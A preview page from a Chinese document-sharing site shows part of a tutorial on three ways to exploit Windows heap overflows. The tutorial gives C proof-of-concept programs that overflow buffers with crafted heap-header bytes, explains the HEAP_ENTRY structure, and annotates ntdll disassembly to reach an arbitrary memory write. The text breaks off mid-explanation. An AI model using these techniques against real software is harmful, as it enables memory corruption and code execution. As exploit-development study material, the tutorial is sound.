总结windows下堆溢出的三种利用方式

上传人:宝路 文档编号:23752894 上传时间:2017-12-03 格式:DOC 页数:8 大小:46KB
返回 下载 相关 举报
总结windows下堆溢出的三种利用方式_第1页
第1页 / 共8页
总结windows下堆溢出的三种利用方式_第2页
第2页 / 共8页
总结windows下堆溢出的三种利用方式_第3页
第3页 / 共8页
总结windows下堆溢出的三种利用方式_第4页
第4页 / 共8页
总结windows下堆溢出的三种利用方式_第5页
第5页 / 共8页
点击查看更多>>
资源描述

《总结windows下堆溢出的三种利用方式》由会员分享,可在线阅读,更多相关《总结windows下堆溢出的三种利用方式(8页珍藏版)》请在金锄头文库上搜索。

1、总结 windows 下堆溢出的三种利用方式.txt 你站在那不要动!等我飞奔过去!雨停了天晴了 女人你慢慢扫屋 我为你去扫天下了 你是我的听说现在结婚很便宜,民政局 9 块钱搞定,我请你吧你个笨蛋啊遇到这种事要站在我后面!跟我走总有一天你的名字会出现在我家的户口本上。原文由 Leven 发在网络编程版:https:/ windows 下堆溢出的三种利用方式1.利用 RtlAllocHeap这是 ISNO 提到的,看这个例子main (int argc, char *argv)char *buf1, *buf2;char s = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

2、x03x00x05x00x00x01x08x00x11x11x11x11x21x21x21x21;buf1 = (char*)malloc (32); /* 分配两块内存 */memcpy (buf1, s, 32+16); /* 这里多复制 16 个字节 */buf2 = (char*)malloc (16);free (buf1);free (buf2);return 0;在给 buf1 完成 malloc 之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样buf1 的管理结构(8bytes)|buf1 真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|

3、两个双链表指针(8bytes)在给 buf2 完成 malloc 之后,buf1 指向的内存分配情况是这样buf1 的管理结构(8bytes)|buf1 真正可操作空间(32bytes)|buf2 的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)现在如果在 buf2 分配空间之前,buf1 的 memcpy 操作溢出,并且覆盖了下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)共 16 个字节的时候,就会造成 buf2 的 RtlAllocHeap 操作异常。原因看 RtlAllocHeap 的这段代码001B:77FCC

4、453 8901 MOV ECX,EAX001B:77FCC455 894804 MOV EAX+04,ECX此时 ECX 指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX 指向前一个指针(0x11111111)。类似于 format string 溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在 buf2 分配空间之前 buf1 有溢出的机会2.利用 RtlFreeHeap 的方式一这是 ilsy 提到的,看例子main (int argc, char *argv)char *buf1, *buf2;char s = aaaaaaaaaaaaaaaaa

5、aaaaaaaaaaaaaaax03x00x05x00x00x09;buf1 = (char*)malloc (32); /* 分配两块内存 */buf2 = (char*)malloc (16);memcpy (buf1, s, 32+6); /* 这里多复制 6 个字节 */free (buf1);free (buf2);return 0;由于 buf1 多复制了 6 个字节,这 6 个字节会覆盖掉 buf2 的管理结构,在 free(buf2)时会发生异常。只要我们精心构造这个 6 个字节就可以达到目的先看看 8 字节管理结构的定义(从 windows 源码中找到)typedef str

6、uct _HEAP_ENTRY / This field gives the size of the current block in allocation/ granularity units. (i.e. Size HEAP_GRANULARITY_SHIFT/ equals the size in bytes)./ Except if this is part of a virtual alloc block then this/ value is the difference between the commit size in the virtual/ alloc entry and

7、 the what the user asked for./ USHORT Size;/ This field gives the size of the previous block in allocation/ granularity units. (i.e. PreviousSize HEAP_GRANULARITY_SHIFT/ equals the size of the previous block in bytes)./USHORT PreviousSize;/ This field contains the index into the segment that control

8、s/ the memory for this block./UCHAR SegmentIndex;/ This field contains various flag bits associated with this block./ Currently these are:/ 0x01 - HEAP_ENTRY_BUSY/ 0x02 - HEAP_ENTRY_EXTRA_PRESENT/ 0x04 - HEAP_ENTRY_FILL_PATTERN/ 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC/ 0x10 - HEAP_ENTRY_LAST_ENTRY/ 0x20 - H

9、EAP_ENTRY_SETTABLE_FLAG1/ 0x40 - HEAP_ENTRY_SETTABLE_FLAG2/ 0x80 - HEAP_ENTRY_SETTABLE_FLAG3/UCHAR Flags;/ This field contains the number of unused bytes at the end of this/ block that were not actually allocated. Used to compute exact/ size requested prior to rounding requested size to allocation/

10、granularity. Also used for tail checking purposes./UCHAR UnusedBytes;/ Small (8 bit) tag indexes can go here. /UCHAR SmallTagIndex;#if defined(_WIN64)ULONGLONG Reserved1;#endif HEAP_ENTRY, *PHEAP_ENTRY;就是本堆的 size(2bytes)|上一个堆的 size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1b

11、yte)注意这里的 size 是实际大小进行 8 字节对齐后除以 8 的值可以看看 flag 的各个定义再看看 RtlFreeHeap 里面几个关键的地方关键点一001B:77FCC829 8A4605 MOV AL,ESI+05 /esi 指向 buf2 的 8 字节管理结构的起始地址,al 即 flag001B:77FCC82C A801 TEST AL,01 /flag 值是否含有HEAP_ENTRY_BUSY001B:77FCC82E 0F84A40E0000 JZ 77FCD6D8 /不含则跳转。这里不能跳001B:77FCC834 F6C207 TEST DL,07 001B:77

12、FCC837 0F859B0E0000 JNZ 77FCD6D8001B:77FCC83D 807E0440 CMP BYTE PTR ESI+04,40 /esi+4 是否大于 0x40001B:77FCC841 0F83910E0000 JAE 77FCD6D8 /大于等于则跳转,这里不能跳001B:77FCC847 834DFCFF OR DWORD PTR EBP-04,-01001B:77FCC84B A8E0 TEST AL,E0 /flag 是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3001B:77FCC84D 754A JNZ 77FCC899 /只要含有

13、一个就跳,这里不重要001B:77FCC84F 8B8F80050000 MOV ECX,EDI+00000580001B:77FCC855 85C9 TEST ECX,ECX001B:77FCC857 7440 JZ 77FCC899 /这里必然会跳关键点二001B:77FCC899 C745FC01000000 MOV DWORD PTR EBP-04,00000001 001B:77FCC8A0 F6C301 TEST BL,01001B:77FCC8A3 750F JNZ 77FCC8B4 /这里必然会跳001B:77FCC8A5 FFB778050000 PUSH DWORD PTR

14、 EDI+00000578001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection001B:77FCC8B0 C645D401 MOV BYTE PTR EBP-2C,01001B:77FCC8B4 F6460508 TEST BYTE PTR ESI+05,08 /flag 是否含 HEAP_ENTRY_VIRTUAL_ALLOC001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 /含有则跳,这里要跳关键点三001B:77FCBB49 83C6E8 ADD ESI,-18 /ilsy 说在不同的 windows 版本上这个 0x18 的是不同的001B:77

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 行业资料 > 其它行业文档

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号